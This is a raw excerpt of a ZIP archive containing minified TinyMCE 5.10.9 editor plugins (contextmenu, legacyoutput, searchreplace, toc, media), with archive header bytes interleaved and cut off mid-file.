o.selection.selectorChangedWithUnbind("a:not([href])",e.setActive).unbind}}),o.ui.registry.addMenuItem("anchor",{icon:"bookmark",text:"Anchor...",onAction:function(){return o.execCommand("mceAnchor")}}),e.on("PreInit",function(){e.formatter.register("namedAnchor",{inline:"a",selector:l,remove:"all",split:!0,deep:!0,attributes:{id:"%value"},onmatch:c})})})}();PK
h�\��t��4program/js/tinymce/plugins/contextmenu/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";tinymce.util.Tools.resolve("tinymce.PluginManager").add("contextmenu",function(){})}();PK
h�\�D���5program/js/tinymce/plugins/legacyoutput/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),l=tinymce.util.Tools.resolve("tinymce.util.Tools");e.add("legacyoutput",function(e){var s,t;(t=s=e).settings.inline_styles=!1,t.getParam("fontsize_formats")||(t.settings.fontsize_formats="8pt=1 10pt=2 12pt=3 14pt=4 18pt=5 24pt=6 36pt=7"),t.getParam("font_formats")||(t.settings.font_formats="Andale Mono=andale mono,monospace;Arial=arial,helvetica,sans-serif;Arial Black=arial black,sans-serif;Book Antiqua=book antiqua,palatino,serif;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier,monospace;Georgia=georgia,palatino,serif;Helvetica=helvetica,arial,sans-serif;Impact=impact,sans-serif;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco,monospace;Times New Roman=times new roman,times,serif;Trebuchet MS=trebuchet ms,geneva,sans-serif;Verdana=verdana,geneva,sans-serif;Webdings=webdings;Wingdings=wingdings,zapf dingbats"),s.on("PreInit",function(){var e=s,t="p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table",i=l.explode(e.getParam("font_size_style_values","xx-small,x-small,small,medium,large,x-large,xx-large")),a=e.schema;e.formatter.register({alignleft:{selector:t,attributes:{align:"left"}},aligncenter:{selector:t,attributes:{align:"center"}},alignright:{selector:t,attributes:{align:"right"}},alignjustify:{selector:t,attributes:{align:"justify"}},bold:[{inline:"b",remove:"all",preserve_attributes:["class","style"]},{inline:"strong",remove:"all",preserve_attributes:["class","style"]},{inline:"span",styles:{fontWeight:"bold"}}],italic:[{inline:"i",remove:"all",preserve_attributes:["class","style"]},{inline:"em",remove:"all",preserve_attributes:["class","style"]},{inline:"span",styles:{fontStyle:"italic"}}],underline:[{inline:"u",remove:"all",preserve_attributes:["class","style"]},{inline:"span",styles:{textDecoration:"underline"},exact:!0}],strikethrough:[{inline:"strike",remove:"all",preserve_attributes:["class","style"]},{inline:"span",styles:{textDecoration:"line-through"},exact:!0}],fontname:{inline:"font",toggle:!1,attributes:{face:"%value"}},fontsize:{inline:"font",toggle:!1,attributes:{size:function(e){return String(l.inArray(i,e.value)+1)}}},forecolor:{inline:"font",attributes:{color:"%value"},links:!0,remove_similar:!0,clear_child_styles:!0},hilitecolor:{inline:"font",styles:{backgroundColor:"%value"},links:!0,remove_similar:!0,clear_child_styles:!0}}),l.each("b,i,u,strike".split(","),function(e){a.addValidElements(e+"[*]")}),a.getElementRule("font")||a.addValidElements("font[face|size|color|style]"),l.each(t.split(","),function(e){var t=a.getElementRule(e);t&&(t.attributes.align||(t.attributes.align={},t.attributesOrder.push("align")))})})})}();PK
h�\�@
9
96program/js/tinymce/plugins/searchreplace/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function g(e){var t=e;return{get:function(){return t},set:function(e){t=e}}}function e(r){return function(e){return n=typeof(t=e),(null===t?"null":"object"==n&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"==n&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":n)===r;var t,n}}function t(t){return function(e){return typeof e===t}}function p(){}function i(e){return function(){return e}}function n(e){return e}function r(){return m}var o=tinymce.util.Tools.resolve("tinymce.PluginManager"),v=function(){return(v=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)},a=e("string"),c=e("array"),u=t("boolean"),l=t("number"),s=i(!1),f=i(!0),d=i("[!-#%-*,-\\/:;?@\\[-\\]_{}\xa1\xab\xb7\xbb\xbf;\xb7\u055a-\u055f\u0589\u058a\u05be\u05c0\u05c3\u05c6\u05f3\u05f4\u0609\u060a\u060c\u060d\u061b\u061e\u061f\u066a-\u066d\u06d4\u0700-\u070d\u07f7-\u07f9\u0830-\u083e\u085e\u0964\u0965\u0970\u0df4\u0e4f\u0e5a\u0e5b\u0f04-\u0f12\u0f3a-\u0f3d\u0f85\u0fd0-\u0fd4\u0fd9\u0fda\u104a-\u104f\u10fb\u1361-\u1368\u1400\u166d\u166e\u169b\u169c\u16eb-\u16ed\u1735\u1736\u17d4-\u17d6\u17d8-\u17da\u1800-\u180a\u1944\u1945\u1a1e\u1a1f\u1aa0-\u1aa6\u1aa8-\u1aad\u1b5a-\u1b60\u1bfc-\u1bff\u1c3b-\u1c3f\u1c7e\u1c7f\u1cd3\u2010-\u2027\u2030-\u2043\u2045-\u2051\u2053-\u205e\u207d\u207e\u208d\u208e\u3008\u3009\u2768-\u2775\u27c5\u27c6\u27e6-\u27ef\u2983-\u2998\u29d8-\u29db\u29fc\u29fd\u2cf9-\u2cfc\u2cfe\u2cff\u2d70\u2e00-\u2e2e\u2e30\u2e31\u3001-\u3003\u3008-\u3011\u3014-\u301f\u3030\u303d\u30a0\u30fb\ua4fe\ua4ff\ua60d-\ua60f\ua673\ua67e\ua6f2-\ua6f7\ua874-\ua877\ua8ce\ua8cf\ua8f8-\ua8fa\ua92e\ua92f\ua95f\ua9c1-\ua9cd\ua9de\ua9df\uaa5c-\uaa5f\uaade\uaadf\uabeb\ufd3e\ufd3f\ufe10-\ufe19\ufe30-\ufe52\ufe54-\ufe61\ufe63\ufe68\ufe6a\ufe6b\uff01-\uff03\uff05-\uff0a\uff0c-\uff0f\uff1a\uff1b\uff1f\uff20\uff3b-\uff3d\uff3f\uff5b\uff5d\uff5f-\uff65]"),m={fold:function(e,t){return e()},isSome:s,isNone:f,getOr:n,getOrThunk:h,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:i(null),getOrUndefined:i(void 0),or:n,orThunk:h,map:r,each:p,bind:r,exists:s,forall:f,filter:function(){return m},toArray:function(){return[]},toString:i("none()")};function h(e){return e()}function y(e,t){for(var n=e.length,r=new Array(n),o=0;o<n;o++){var i=e[o];r[o]=t(i,o)}return r}function x(e,t){for(var n=0,r=e.length;n<r;n++)t(e[n],n)}function b(e,t){for(var n=e.length-1;0<=n;n--)t(e[n],n)}function w(e,t){return function(e){for(var t=[],n=0,r=e.length;n<r;++n){if(!c(e[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+e);A.apply(t,e[n])}return t}(y(e,t))}function O(e,t){return D.call(e,t)}var C=function(n){function e(){return o}function t(e){return e(n)}var r=i(n),o={fold:function(e,t){return t(n)},isSome:f,isNone:s,getOr:r,getOrThunk:r,getOrDie:r,getOrNull:r,getOrUndefined:r,or:e,orThunk:e,map:function(e){return C(e(n))},each:function(e){e(n)},bind:t,exists:t,forall:t,filter:function(e){return e(n)?o:m},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return o},T={some:C,none:r,from:function(e){return null==e?m:C(e)}},E=d,N=tinymce.util.Tools.resolve("tinymce.Env"),k=tinymce.util.Tools.resolve("tinymce.util.Tools"),S=Array.prototype.slice,A=Array.prototype.push,D=Object.hasOwnProperty;function M(e,t,n){!function(e,t,n){if(!(a(n)||u(n)||l(n)))throw console.error("Invalid call to Attribute.set. Key ",t,":: Value ",n,":: Element ",e),new Error("Attribute value was not simple");e.setAttribute(t,n+"")}(e.dom,t,n)}function B(e,t){return{element:e,offset:t}}function F(e,t){var n,r;n=e,r=t,T.from(n.dom.parentNode).map(fe.fromDom).each(function(e){e.dom.insertBefore(r.dom,n.dom)}),t.dom.appendChild(e.dom)}function I(e){return de.get(e)}function P(e,t){return e.isBlock(t)||O(e.schema.getShortEndedElements(),t.nodeName)}function R(e,t){return"false"===e.getContentEditable(t)}function W(e,t){return!e.isBlock(t)&&O(e.schema.getWhiteSpaceElements(),t.nodeName)}function j(){return{sOffset:0,fOffset:0,elements:[]}}function V(e,t){return n=fe.fromDom(e),r=t,0<(o=y(n.dom.childNodes,fe.fromDom)).length&&r<o.length?B(o[r],0):B(n,r);var n,r,o}function H(e,t,n,r,o,i){for(var a=(i=void 0===i||i)?t(!1):n;a;){var c=R(e,a);if(c||W(e,a)){if(c?r.cef(a):r.boundary(a))break;a=t(!0)}else{if(P(e,a)){if(r.boundary(a))break}else 3===a.nodeType&&r.text(a);if(a===o)break;a=t(!1)}}}function L(e,t,n,r,o){var i,a,c,u,l,s;P(i=e,a=n)||R(i,a)||W(i,a)||"true"===(c=i).getContentEditable(u=a)&&"false"===c.getContentEditableParent(u.parentNode)||(l=e.getParent(r,e.isBlock),s=new me(n,l),H(e,(o?s.next:s.prev).bind(s),n,{boundary:f,cef:f,text:function(e){o?t.fOffset+=e.length:t.sOffset+=e.length,t.elements.push(fe.fromDom(e))}}))}function U(e,t,n,r,o,i){void 0===i&&(i=!0);var a=new me(n,t),c=[],u=j();function l(){return 0<u.elements.length&&(c.push(u),u=j()),!1}return L(e,u,n,t,!1),H(e,a.next.bind(a),n,{boundary:l,cef:function(e){return l(),o&&c.push.apply(c,o.cef(e)),!1},text:function(e){u.elements.push(fe.fromDom(e)),o&&o.text(e,u)}},r,i),r&&L(e,u,r,t,!0),l(),c}function $(u,e){var n=V(e.startContainer,e.startOffset),r=n.element.dom,o=V(e.endContainer,e.endOffset),i=o.element.dom;return U(u,e.commonAncestorContainer,r,i,{text:function(e,t){e===i?t.fOffset+=e.length-o.offset:e===r&&(t.sOffset+=n.offset)},cef:function(e){var t,n,r,o,i,a=w((n=fe.fromDom(e),r="*[contenteditable=true]",1!==(o=i=void 0===n?document:n.dom).nodeType&&9!==o.nodeType&&11!==o.nodeType||0===o.childElementCount?[]:y(i.querySelectorAll(r),fe.fromDom)),function(e){var t=e.dom;return U(u,t,t)}),c=function(e,t){return n=e.elements[0].dom,r=t.elements[0].dom,o=Node.DOCUMENT_POSITION_PRECEDING,0!=(n.compareDocumentPosition(r)&o)?1:-1;var n,r,o};return(t=S.call(a,0)).sort(c),t}},!1)}function _(e,t){return t.collapsed?[]:$(e,t)}function z(e,t){var n=e.createRng();return n.selectNode(t),_(e,n)}function q(c,e){return w(e,function(e){var a,n,r,t=e.elements,o=y(t,I).join(""),i=function(e,t,n,r){void 0===r&&(r=e.length);var o=t.regex;o.lastIndex=n=void 0===n?0:n;for(var i,a=[];i=o.exec(e);){var c=i[t.matchIndex],u=i.index+i[0].indexOf(c),l=u+c.length;if(r<l)break;a.push({start:u,finish:l}),o.lastIndex=l}return a}(o,c,e.sOffset,o.length-e.fOffset);return a=i,function(e,t){if(0===e.length)return[];for(var n=t(e[0]),r=[],o=[],i=0,a=e.length;i<a;i++){var c=e[i],u=t(c);u!==n&&(r.push(o),o=[]),n=u,o.push(c)}return 0!==o.length&&r.push(o),r}((n=function(e,n){var t=I(n),r=e.last,o=r+t.length,i=w(a,function(e,t){return e.start<o&&e.finish>r?[{element:n,start:Math.max(r,e.start)-r,finish:Math.min(o,e.finish)-r,matchId:t}]:[]});return{results:e.results.concat(i),last:o}},r={results:[],last:0},x(t,function(e,t){r=n(r,e)}),r.results),function(e){return e.matchId})})}function G(e,i){b(e,function(e,o){b(e,function(e){var t=fe.fromDom(i.cloneNode(!1));M(t,"data-mce-index",o);var n,r=e.element.dom;r.length===e.finish&&0===e.start?F(e.element,t):(r.length!==e.finish&&r.splitText(e.finish),n=r.splitText(e.start),F(fe.fromDom(n),t))})})}function K(e){var t=e.getAttribute("data-mce-index");return"number"==typeof t?""+t:t}function J(e,t,n,r){var o=e.dom.create("span",{"data-mce-bogus":1});o.className="mce-match-marker";var i,a,c,u,l,s,f,d,m,h,g=e.getBody();return he(e,t,!1),r?(c=e.dom,u=n,l=e.selection,s=o,d=l.getBookmark(),m=c.select("td[data-mce-selected],th[data-mce-selected]"),G(h=q(u,0<m.length?(f=c,w(m,function(e){return z(f,e)})):_(c,l.getRng())),s),l.moveToBookmark(d),h.length):(i=o,G(a=q(n,z(e.dom,g)),i),a.length)}function Q(e){var t=e.parentNode;e.firstChild&&t.insertBefore(e.firstChild,e),e.parentNode.removeChild(e)}function X(e,t){var n=[],r=k.toArray(e.getBody().getElementsByTagName("span"));if(r.length)for(var o=0;o<r.length;o++){var i=K(r[o]);null!==i&&i.length&&i===t.toString()&&n.push(r[o])}return n}function Y(e,t,n){var r=t.get(),o=r.index,i=e.dom;(n=!1!==n)?o+1===r.count?o=0:o++:o-1==-1?o=r.count-1:o--,i.removeClass(X(e,r.index),"mce-match-marker-selected");var a=X(e,o);return a.length?(i.addClass(X(e,o),"mce-match-marker-selected"),e.selection.scrollIntoView(a[0]),o):-1}function Z(e,t){var n=t.parentNode;e.remove(t),e.isEmpty(n)&&e.remove(n)}function ee(e,t,n,r,o,i){var a,c,u,l=e.selection,s=(a=o,c="("+n.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&").replace(/\s/g,"[^\\S\\r\\n\\uFEFF]")+")",a?"(?:^|\\s|"+E()+")"+c+"(?=$|\\s|"+E()+")":c),f=l.isForward(),d=J(e,t,{regex:new RegExp(s,r?"g":"gi"),matchIndex:1},i);return N.browser.isSafari()&&l.setRng(l.getRng(),f),d&&(u=Y(e,t,!0),t.set({index:u,count:d,text:n,matchCase:r,wholeWord:o,inSelection:i})),d}function te(e,t){var n=Y(e,t,!0);t.set(v(v({},t.get()),{index:n}))}function ne(e,t){var n=Y(e,t,!1);t.set(v(v({},t.get()),{index:n}))}function re(e){var t=K(e);return null!==t&&0<t.length}function oe(e,t,n,r,o){var i,a=t.get(),c=a.index,u=c;r=!1!==r;for(var l=e.getBody(),s=k.grep(k.toArray(l.getElementsByTagName("span")),re),f=0;f<s.length;f++){var d=K(s[f]),m=i=parseInt(d,10);if(o||m===a.index){for(n.length?(s[f].firstChild.nodeValue=n,Q(s[f])):Z(e.dom,s[f]);s[++f];){if((m=parseInt(K(s[f]),10))!==i){f--;break}Z(e.dom,s[f])}r&&u--}else c<i&&s[f].setAttribute("data-mce-index",String(i-1))}return t.set(v(v({},a),{count:o?0:a.count-1,index:u})),(r?te:ne)(e,t),!o&&0<t.get().count}function ie(i,a){var e,t,n,r=(e=p,t=g(T.none()),v(v({},n={clear:function(){o(),t.set(T.none())},isSet:function(){return t.get().isSome()},get:function(){return t.get()},set:function(e){o(),t.set(T.some(e))}}),{on:function(e){return n.get().each(e)}}));function o(){return t.get().each(e)}function c(e){(1<a.get().count?e.enable:e.disable)("next"),(1<a.get().count?e.enable:e.disable)("prev")}function u(e,t){x(["replace","replaceall","prev","next"],t?e.disable:e.enable)}function l(e,t){N.browser.isSafari()&&N.deviceType.isTouch()&&("find"===t||"replace"===t||"replaceall"===t)&&e.focus(t)}function s(e){he(i,a,!1),u(e,!0),c(e)}function f(e){var t,n,r=e.getData(),o=a.get();r.findtext.length?(o.text===r.findtext&&o.matchCase===r.matchcase&&o.wholeWord===r.wholewords?te(i,a):((t=ee(i,a,r.findtext,r.matchcase,r.wholewords,r.inselection))<=0&&(n=e,i.windowManager.alert("Could not find the specified string.",function(){n.focus("findtext")})),u(e,0===t)),c(e)):s(e)}i.undoManager.add();var d=k.trim(i.selection.getContent({format:"text"})),m=a.get(),h={title:"Find and Replace",size:"normal",body:{type:"panel",items:[{type:"bar",items:[{type:"input",name:"findtext",placeholder:"Find",maximized:!0,inputMode:"search"},{type:"button",name:"prev",text:"Previous",icon:"action-prev",disabled:!0,borderless:!0},{type:"button",name:"next",text:"Next",icon:"action-next",disabled:!0,borderless:!0}]},{type:"input",name:"replacetext",placeholder:"Replace with",inputMode:"search"}]},buttons:[{type:"menu",name:"options",icon:"preferences",tooltip:"Preferences",align:"start",items:[{type:"togglemenuitem",name:"matchcase",text:"Match case"},{type:"togglemenuitem",name:"wholewords",text:"Find whole words only"},{type:"togglemenuitem",name:"inselection",text:"Find in selection"}]},{type:"custom",name:"find",text:"Find",primary:!0},{type:"custom",name:"replace",text:"Replace",disabled:!0},{type:"custom",name:"replaceall",text:"Replace all",disabled:!0}],initialData:{findtext:d,replacetext:"",wholewords:m.wholeWord,matchcase:m.matchCase,inselection:m.inSelection},onChange:function(e,t){"findtext"===t.name&&0<a.get().count&&s(e)},onAction:function(e,t){var n,r,o=e.getData();switch(t.name){case"find":f(e);break;case"replace":(oe(i,a,o.replacetext)?c:s)(e);break;case"replaceall":oe(i,a,o.replacetext,!0,!0),s(e);break;case"prev":ne(i,a),c(e);break;case"next":te(i,a),c(e);break;case"matchcase":case"wholewords":case"inselection":n=e.getData(),r=a.get(),a.set(v(v({},r),{matchCase:n.matchcase,wholeWord:n.wholewords,inSelection:n.inselection})),s(e)}l(e,t.name)},onSubmit:function(e){f(e),l(e,"find")},onClose:function(){i.focus(),he(i,a),i.undoManager.add()}};r.set(i.windowManager.open(h,{inline:"toolbar"}))}function ae(e,t){return function(){ie(e,t)}}"undefined"!=typeof window||Function("return this;")();function ce(e){return 3===e.dom.nodeType}function ue(e){if(null==e)throw new Error("Node cannot be null or undefined");return{dom:e}}var le,se,fe={fromHtml:function(e,t){var n=(t||document).createElement("div");if(n.innerHTML=e,!n.hasChildNodes()||1<n.childNodes.length)throw console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return ue(n.childNodes[0])},fromTag:function(e,t){var n=(t||document).createElement(e);return ue(n)},fromText:function(e,t){var n=(t||document).createTextNode(e);return ue(n)},fromDom:ue,fromPoint:function(e,t,n){return T.from(e.dom.elementFromPoint(t,n)).map(ue)}},de=(le=ce,{get:function(e){if(!le(e))throw new Error("Can only get text value of a text node");return se(e).getOr("")},getOption:se=function(e){return le(e)?T.from(e.dom.nodeValue):T.none()},set:function(e,t){if(!le(e))throw new Error("Can only set raw text value of a text node");e.dom.nodeValue=t}}),me=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),he=function(e,t,n){for(var r,o,i=t.get(),a=k.toArray(e.getBody().getElementsByTagName("span")),c=0;c<a.length;c++){var u=K(a[c]);null!==u&&u.length&&(u===i.index.toString()&&(r=r||a[c].firstChild,o=a[c].firstChild),Q(a[c]))}if(t.set(v(v({},i),{index:-1,count:0,text:""})),r&&o){var l=e.dom.createRng();return l.setStart(r,0),l.setEnd(o,o.data.length),!1!==n&&e.selection.setRng(l),l}};o.add("searchreplace",function(e){var t,n,r,o,i,a=g({index:-1,count:0,text:"",matchCase:!1,wholeWord:!1,inSelection:!1}),c=a;return(t=e).addCommand("SearchReplace",function(){ie(t,c)}),(n=e).ui.registry.addMenuItem("searchreplace",{text:"Find and replace...",shortcut:"Meta+F",onAction:ae(n,r=a),icon:"search"}),n.ui.registry.addButton("searchreplace",{tooltip:"Find and replace",onAction:ae(n,r),icon:"search"}),n.shortcuts.add("Meta+F","",ae(n,r)),o=e,i=a,{done:function(e){return he(o,i,e)},find:function(e,t,n,r){return ee(o,i,e,t,n,r=void 0!==r&&r)},next:function(){return te(o,i)},prev:function(){return ne(o,i)},replace:function(e,t,n){return oe(o,i,e,t,n)}}})}();PK
h�\�Ҥ
��,program/js/tinymce/plugins/toc/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function a(t){return t.getParam("toc_class","mce-toc")}function s(t){var e=t.getParam("toc_header","h2");return/^h[1-6]$/.test(e)?e:"h2"}function u(n){return function(t){function e(){return t.setDisabled(n.mode.isReadOnly()||!(0<g(n).length))}return e(),n.on("LoadContent SetContent change",e),function(){return n.on("LoadContent SetContent change",e)}}}function d(t){var e,n,o,i="",r=g(t),c=function(t){for(var e=9,n=0;n<t.length;n++)if(1===(e=t[n].level<e?t[n].level:e))return e;return e}(r)-1;if(!r.length)return"";i+=(e=s(t),n=v.translate("Table of Contents"),o="</"+e+">","<"+e+' contenteditable="true">'+m.DOM.encode(n)+o);for(var l=0;l<r.length;l++){var a=r[l];a.element.id=a.id;var u=r[l+1]&&r[l+1].level;if(c===a.level)i+="<li>";else for(var d=c;d<a.level;d++)i+="<ul><li>";if(i+='<a href="#'+a.id+'">'+a.title+"</a>",u!==a.level&&u)for(d=a.level;u<d;d--)i+=d===u+1?"</li></ul><li>":"</li></ul>";else i+="</li>",u||(i+="</ul>");c=a.level}return i}function f(t){var e=a(t),n=t.$("."+e);n.length&&t.undoManager.transact(function(){n.html(d(t))})}var t,e=tinymce.util.Tools.resolve("tinymce.PluginManager"),m=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),v=tinymce.util.Tools.resolve("tinymce.util.I18n"),c=tinymce.util.Tools.resolve("tinymce.util.Tools"),l=(t=0,function(){return"mcetoc_"+(new Date).getTime().toString(32)+(t++).toString(32)}),g=function(n){var t,o=a(n),e=s(n),i=function(t){for(var e=[],n=1;n<=t;n++)e.push("h"+n);return e.join(",")}(1<=(t=parseInt(n.getParam("toc_depth","3"),10))&&t<=9?t:3),r=n.$(i);return r.length&&/^h[1-9]$/i.test(e)&&(r=r.filter(function(t,e){return!n.dom.hasClass(e.parentNode,o)})),c.map(r,function(t){return{id:t.id||l(),level:parseInt(t.nodeName.replace(/^H/i,""),10),title:n.$.text(t),element:t}})};e.add("toc",function(t){var c,e,n,o,i,r;function l(){return i.execCommand("mceInsertToc")}(c=t).addCommand("mceInsertToc",function(){var t,e,n,o,i,r;o=a(t=c),i=t.$("."+o),r=t,!i.length||0<r.dom.getParents(i[0],".mce-offscreen-selection").length?t.insertContent((n=d(e=t),'<div class="'+e.dom.encode(a(e))+'" contenteditable="false">'+n+"</div>")):f(t)}),c.addCommand("mceUpdateToc",function(){f(c)}),(i=t).ui.registry.addButton("toc",{icon:"toc",tooltip:"Table of contents",onAction:l,onSetup:u(i)}),i.ui.registry.addButton("tocupdate",{icon:"reload",tooltip:"Update",onAction:function(){return i.execCommand("mceUpdateToc")}}),i.ui.registry.addMenuItem("toc",{icon:"toc",text:"Table of contents",onAction:l,onSetup:u(i)}),i.ui.registry.addContextToolbar("toc",{items:"tocupdate",predicate:(r=i,function(t){return t&&r.dom.is(t,"."+a(r))&&r.getBody().contains(t)}),scope:"node",position:"node"}),n=(e=t).$,o=a(e),e.on("PreProcess",function(t){var e=n("."+o,t.node);e.length&&(e.removeAttr("contentEditable"),e.find("[contenteditable]").removeAttr("contentEditable"))}),e.on("SetContent",function(){var t=n("."+o);t.length&&(t.attr("contentEditable",!1),t.children(":first-child").attr("contentEditable",!0))})})}();PK
h�\���
�D�D.program/js/tinymce/plugins/media/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function e(n){return function(e){return r=typeof(t=e),(null===t?"null":"object"==r&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"==r&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":r)===n;var t,r}}function s(e){return null!=e}function o(e){return function(){return e}}function t(e){return e}function r(){return d}var n=tinymce.util.Tools.resolve("tinymce.PluginManager"),p=function(){return(p=Object.assign||function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var a in t=arguments[r])Object.prototype.hasOwnProperty.call(t,a)&&(e[a]=t[a]);return e}).apply(this,arguments)},i=e("string"),u=e("object"),l=e("array"),c=o(!1),m=o(!0),d={fold:function(e,t){return e()},isSome:c,isNone:m,getOr:t,getOrThunk:a,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:o(null),getOrUndefined:o(void 0),or:t,orThunk:a,map:r,each:function(){},bind:r,exists:c,forall:m,filter:function(){return d},toArray:function(){return[]},toString:o("none()")};function a(e){return e()}function h(e,t){for(var r=0,n=e.length;r<n;r++)t(e[r],r)}function f(e){var t=e;return{get:function(){return t},set:function(e){t=e}}}function g(e,t){return J(e,t)?W.from(e[t]):W.none()}function v(e){return e.getParam("media_scripts")}function b(e,t){if(e)for(var r=0;r<e.length;r++)if(-1!==t.indexOf(e[r].filter))return e[r]}function w(e){return e.replace(/px$/,"")}function y(i,e){var c=f(!1),s={};return V({validate:!1,allow_conditional_comments:!0,start:function(e,t){if(!c.get())if(J(t.map,"data-ephox-embed-iri"))c.set(!0),o=(a=(n=t).map.style)?X.parseStyle(a):{},s={type:"ephox-embed-iri",source:n.map["data-ephox-embed-iri"],altsource:"",poster:"",width:g(o,"max-width").map(w).getOr(""),height:g(o,"max-height").map(w).getOr("")};else{if(s.source||"param"!==e||(s.source=t.map.movie),"iframe"!==e&&"object"!==e&&"embed"!==e&&"video"!==e&&"audio"!==e||(s.type||(s.type=e),s=K.extend(t.map,s)),"script"===e){var r=b(i,t.map.src);if(!r)return;s={type:"script",source:t.map.src,width:String(r.width),height:String(r.height)}}"source"===e&&(s.source?s.altsource||(s.altsource=t.map.src):s.source=t.map.src),"img"!==e||s.poster||(s.poster=t.map.src)}var n,a,o}}).parse(e),s.source=s.source||s.src||s.data,s.altsource=s.altsource||"",s.poster=s.poster||"",s}function x(e){return{mp3:"audio/mpeg",m4a:"audio/x-m4a",wav:"audio/wav",mp4:"video/mp4",webm:"video/webm",ogg:"video/ogg",swf:"application/x-shockwave-flash"}[e.toLowerCase().split(".").pop()]||""}function j(e){return/^[0-9.]+$/.test(e)?e+"px":e}function O(o,e){!function(e){for(var t=q(e),r=0,n=t.length;r<n;r++){var a=t[r];!function(e,t){var r=""+e;if(o.map[t])for(var n=o.length;n--;){var a=o[n];a.name===t&&(r?(o.map[t]=r,a.value=r):(delete o.map[t],o.splice(n,1)))}else r&&(o.push({name:t,value:r}),o.map[t]=r)}(e[a],a)}}(e)}function S(e,c,s){var u,l=Z(),m=f(!1),d=0;return V({validate:!1,allow_conditional_comments:!0,comment:function(e){l.comment(e)},cdata:function(e){l.cdata(e)},text:function(e,t){l.text(e,t)},start:function(e,t,r){if(!m.get())if(J(t.map,"data-ephox-embed-iri"))m.set(!0),n=c,(i=(o=(a=t).map.style)?ee.parseStyle(o):{})["max-width"]=j(n.width),i["max-height"]=j(n.height),O(a,{style:ee.serializeStyle(i)});else{switch(e){case"video":case"object":case"embed":case"img":case"iframe":void 0!==c.height&&void 0!==c.width&&O(t,{width:c.width,height:c.height})}if(s)switch(e){case"video":O(t,{poster:c.poster,src:""}),c.altsource&&O(t,{src:""});break;case"iframe":O(t,{src:c.source});break;case"source":if(d<2&&(O(t,{src:c[te[d]],type:c[te[d]+"mime"]}),!c[te[d]]))return;d++;break;case"img":if(!c.poster)return;u=!0}}var n,a,o,i;l.start(e,t,r)},end:function(e){if(!m.get()){if("video"===e&&s)for(var t,r=0;r<2;r++)c[te[r]]&&((t=[]).map={},d<=r&&(O(t,{src:c[te[r]],type:c[te[r]+"mime"]}),l.start("source",t,!0)));var n;c.poster&&"object"===e&&s&&!u&&((n=[]).map={},O(n,{src:c.poster,width:c.width,height:c.height}),l.start("img",n,!0))}l.end(e)}},Y({})).parse(e),l.getContent()}function _(e,t){for(var r,n=(r=t.match(/^(https?:\/\/|www\.)(.+)$/i))&&1<r.length&&"www."!==r[1]?r[1]:"https://",a=e.regex.exec(t),o=n+e.url,i=0;i<a.length;i++)!function(e){o=o.replace("$"+e,function(){return a[e]||""})}(i);return o.replace(/\?$/,"")}function k(r,e){var n=K.extend({},e);if(!n.source&&(K.extend(n,y(v(r),n.embed)),!n.source))return"";n.altsource||(n.altsource=""),n.poster||(n.poster=""),n.source=r.convertURL(n.source,"source"),n.altsource=r.convertURL(n.altsource,"source"),n.sourcemime=x(n.source),n.altsourcemime=x(n.altsource),n.poster=r.convertURL(n.poster,"poster");var t,a,o=(t=n.source,0<(a=re.filter(function(e){return e.regex.test(t)})).length?K.extend({},a[0],{url:_(a[0],t)}):null);if(o&&(n.source=o.url,n.type=o.type,n.allowfullscreen=o.allowFullscreen,n.width=n.width||String(o.w),n.height=n.height||String(o.h)),n.embed)return S(n.embed,n,!0);var i=b(v(r),n.source);i&&(n.type="script",n.width=String(i.width),n.height=String(i.height));var c,s,u,l,m=r.getParam("audio_template_callback"),d=r.getParam("video_template_callback");return n.width=n.width||"300",n.height=n.height||"150",K.each(n,function(e,t){n[t]=r.dom.encode(""+e)}),"iframe"===n.type?(l=n.allowfullscreen?' allowFullscreen="1"':"",'<iframe src="'+n.source+'" width="'+n.width+'" 